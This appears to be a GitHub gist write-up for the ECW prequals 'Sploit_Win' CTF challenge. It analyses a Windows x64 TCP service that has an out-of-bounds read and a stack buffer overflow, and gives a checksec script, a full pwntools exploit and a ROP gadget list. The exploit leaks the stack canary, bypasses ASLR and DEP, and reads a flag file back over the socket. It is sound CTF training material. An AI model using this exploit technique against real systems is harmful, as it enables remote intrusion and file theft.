Skip to content

Instantly share code, notes, and snippets.

@LoadLow
Last active October 21, 2019 21:15
Show Gist options
  • Save LoadLow/349d278af71ea082aa21cb242de7a9de to your computer and use it in GitHub Desktop.
Save LoadLow/349d278af71ea082aa21cb242de7a9de to your computer and use it in GitHub Desktop.
ECW Prequals - Challenge "Sploit_Win"

Win64 PE With some protections ...

ASLR : True
DEP : True
SEH : False
CFG : False
[*] Listing imported DLLs...
        WS2_32.dll
        KERNEL32.dll
        ADVAPI32.dll

"Secure env"

Environment handling exceptions, maybe shellcode detections and syscalls filters....

Strict network filtering, that means : no reverse tcp or bind sockets

SSP (Stack smashing protection) is enabled and canary is stored at buff+256 (buff+256 << 4 | buff+257)

Multithreaded environment :

  1. Main Thread Loop that listens to a socket(ADDR_ANY, TCP_PORT 741)
  2. Whenever it accepts a new socket client, it creates a new thread to StartAddress.
  3. This new thread allocates some room in order to read the client's messages (VirtualAlloc)
  4. Then another function is called to do a blocking read
  5. MSG Format : [msg_type:1 byte][params, usually UINT32 blocks]

Baby Read primitive : leak process information

The msg of type 0x04 is a read primitive. Indeed, we have an out of bounds read because we can read one uint32 (4bytes) at the offset (big_endian_uint32)msg[5:9] of the stack buffer of 256 bytes, but this offset is never checked.

In this stack, we have for example socket descriptors, a save of RIP and the SSP's canary.

Read primitive

The msg of type 0x02 is a read primitive. But it's not an out of bounds read (so we'll only consider the baby read primitive)

Baby Write primitive

The msg of type 0x03 is a write primitive but it casts the index param with (uint64)(uint8), so it's not an out of bounds write.

Write primitive : BoF is real

The msg of type 0x01 is the BoF. Indeed, bounds are not checked because the stack buffer has a size of 256 bytes but we can write up to 0x1000 bytes into this one.

Made by hand with love :>

https://www.exploit-db.com/docs/english/17914-bypassing-aslrdep.pdf

import pefile
class PESecurityCheck:
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0x0040
IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0x0100
IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400
IMAGE_DLLCHARACTERISTICS_GUARD_CF = 0x4000
def __init__(self, pe):
self.pe = pe
def aslr(self):
return bool(self.pe.OPTIONAL_HEADER.DllCharacteristics & self.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
def dep(self):
return bool(self.pe.OPTIONAL_HEADER.DllCharacteristics & self.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
def seh(self):
return bool(self.pe.OPTIONAL_HEADER.DllCharacteristics & self.IMAGE_DLLCHARACTERISTICS_NO_SEH)
def CFG(self):
return bool(self.pe.OPTIONAL_HEADER.DllCharacteristics & self.IMAGE_DLLCHARACTERISTICS_GUARD_CF)
# noinspection PyTypeChecker
def main():
pe = pefile.PE("samples/ecw.exe")
checksec = PESecurityCheck(pe)
print("ASLR : " + str(checksec.aslr()))
print("DEP : " + str(checksec.dep()))
print("SEH : " + str(checksec.seh()))
print("CFG : " + str(checksec.CFG()))
print("[*] Listing imported DLLs...")
for entry in pe.DIRECTORY_ENTRY_IMPORT:
print('\t' + entry.dll.decode('utf-8'))
if __name__ == "__main__":
main()
from pwn import *
def leak_uint32(r, offset):
r.send(flat(
'\x04',
p32(offset, endian='big')
))
return u32(r.recv(4), endian='little')
def leak_uint64(r, offset):
r.send(flat(
'\x04',
p32(offset, endian='big')
))
i1 = r.recv(4)
r.send(flat(
'\x04',
p32(offset + 1, endian='big')
))
return u64(i1 + r.recv(4), endian='little')
def main():
context(arch='amd64', os='windows', endian='little')
debug_addr = 0x7ff6c7f12507
base_addr = 0
def resolve(addr): return addr - debug_addr + base_addr
def pop_rdi_rsi_rbx_ret(): return resolve(0x7FF6C7F12D58)
def pop_rbx_ret(): return resolve(0x7FF6C7F12D5A)
def write_at_rcx_ret(): return resolve(0x7FF6C7F1995C)
def rslv_rcx_ret(): return resolve(0x7FF6C7F128E7)
def mov_r8_rcx_call_rdi(): return resolve(0x7FF6C7F170AD)
def mov_rdx_rcx_call_rbx(): return resolve(0x7FF6C7F4903E)
def mov_rdx_call_rbx(): return resolve(0x7FF6C7F1E346)
def sleep(): return resolve(0x7FF6C7F124F4)
def memory_map_file(): return resolve(0x7FF6C7F111B0)
def send_to_socket(): return resolve(0x7FF6C7F12858)
def rwdata_block(): return resolve(0x7FF6C7FAD581)
def rwdata_txt(): return resolve(0x7FF6C7FAD5D7)
r = remote("challenge-ecw.fr", 741)
ssp = leak_uint64(r, 256)
base_addr = leak_uint64(r, 256 + 6)
my_socket = leak_uint64(r, 256 + 4)
buf = 'A' * 1024
r.send(flat(
'\x01',
p32(200, endian='big'),
buf,
p64(ssp), # SSP
'D' * 8,
'E' * 8,
# Writes "flag.txt" at an offset of base_addr (on the rw .data segment)
p64(pop_rdi_rsi_rbx_ret()), # sRIP = pop_rdi_rsi_rbx_ret
p64(rwdata_txt() - 0x50), # rdi = rcx (dst_addr)
'flag.txt', # rsi = rdx (value)
p64(pop_rbx_ret()), # rbx = pop_rbx_rtn (stack align call)
p64(mov_rdx_rcx_call_rbx()), # sRIP = mov_rdx_rcx_call_rbx
p64(write_at_rcx_ret()), # sRIP = write_at_ecx_ret
# Opens and Map "flag.txt" file
# on memory at an offset of base_addr (also on the rw .data seg.)
# map_file_in_mem(whereToStorePtrMap, char* filename)
p64(pop_rdi_rsi_rbx_ret()), # sRIP = pop_rdi_rsi_rbx_ret
p64(rwdata_block()), # rdi = rcx = whereToStorePtrMap
p64(rwdata_txt()), # rsi = rdx = filename
p64(pop_rbx_ret()), # rbx = pop_rbx_rtn (stack align call)
p64(mov_rdx_rcx_call_rbx()), # sRIP = mov_rdx_rcx_call_rbx
p64(memory_map_file()), # sRIP = read_file_in_mem()
p64(pop_rbx_ret()), # sRIP = stack align
p64(0), # rbx = junk
# resolve whereToStorePtrMap addr and setup send parameters
p64(pop_rdi_rsi_rbx_ret()), # sRIP = pop_rdi_rsi_rbx_ret
p64(pop_rbx_ret()), # rdi = pop_rbx_rtn (stack align call)
p64(0xFF), # rsi = r8 = sendLength
p64(0), # rbx = junk
p64(mov_r8_rcx_call_rdi()), # sRIP = mov_r8_rcx_call_rdi
p64(pop_rdi_rsi_rbx_ret()), # call rdi will trigger it
p64(rwdata_block()), # rdi = rcx = whereToStorePtrMap
p64(0), # rsi = junk
p64(pop_rbx_ret()), # rbx = pop_rbx_rtn (stack align call)
p64(mov_rdx_rcx_call_rbx()), # sRIP = mov_rdx_rcx_call_rbx
p64(rslv_rcx_ret()), # sRIP = rslv_rcx_ret
p64(pop_rdi_rsi_rbx_ret()), # sRIP = pop_rdi_rsi_rbx_ret
p64(my_socket), # rdi = rcx = my_socket
p64(0), # rsi = junk
p64(pop_rbx_ret()), # rbx = pop_rbx_rtn (stack align call)
p64(mov_rdx_call_rbx()), # sRIP = mov_rdx_call_rbx
# finally send the content <3
p64(send_to_socket()), # sRIP = send_to_socket
p64(sleep()) * 10 # stop gadget
))
r.send('\x05') # trigger ret without closing socket
flag = r.recv(255)
flag = flag.decode('utf-8').split('\x00')[0]
print("The flag is " + flag)
main()
'''
0x00007FF6C7F1995C: write-what-where
mov [rcx + 0x50], rdx
ret
0x00007FF6C7F1E346:
mov rdx, rax
mov rcx, rdi
call rbx
0x00007FF6C7F128E7:
mov rcx, [rcx]
mov rax, rcx
ret
0x00007FF6C7F1947F:
lea rdx, [r13 + 0x74]
mov rcx, r14
call rdi
0x00007FF6C7F15CBA:
pop r14
pop r13
retn
0x00007FF6C7F170AD:
mov r8, rsi
xor edx, edx
mov rcx, rbp
call rdi
0x00007FF6C7F12D58:
pop rdi
pop rsi
pop rbx
retn
0x00007FF6C7F12D5A: skip call sRIP
pop rbx
retn
0x00007FF6C7F12F03:
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
retn
0x00007FF6C7F1367E:
mov rax, rcx
retn
0x00007FF6C7F4903E:
mov rdx, rsi
mov rcx, rdi
call rbx
0x00007FF6C7F49041:
mov rcx, rdi
call rbx
0x00007FF6C7F111B0: func memory_map_file(uint64* ptrStore, char* filename)
rdx: filename
rcx: dst
'''
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment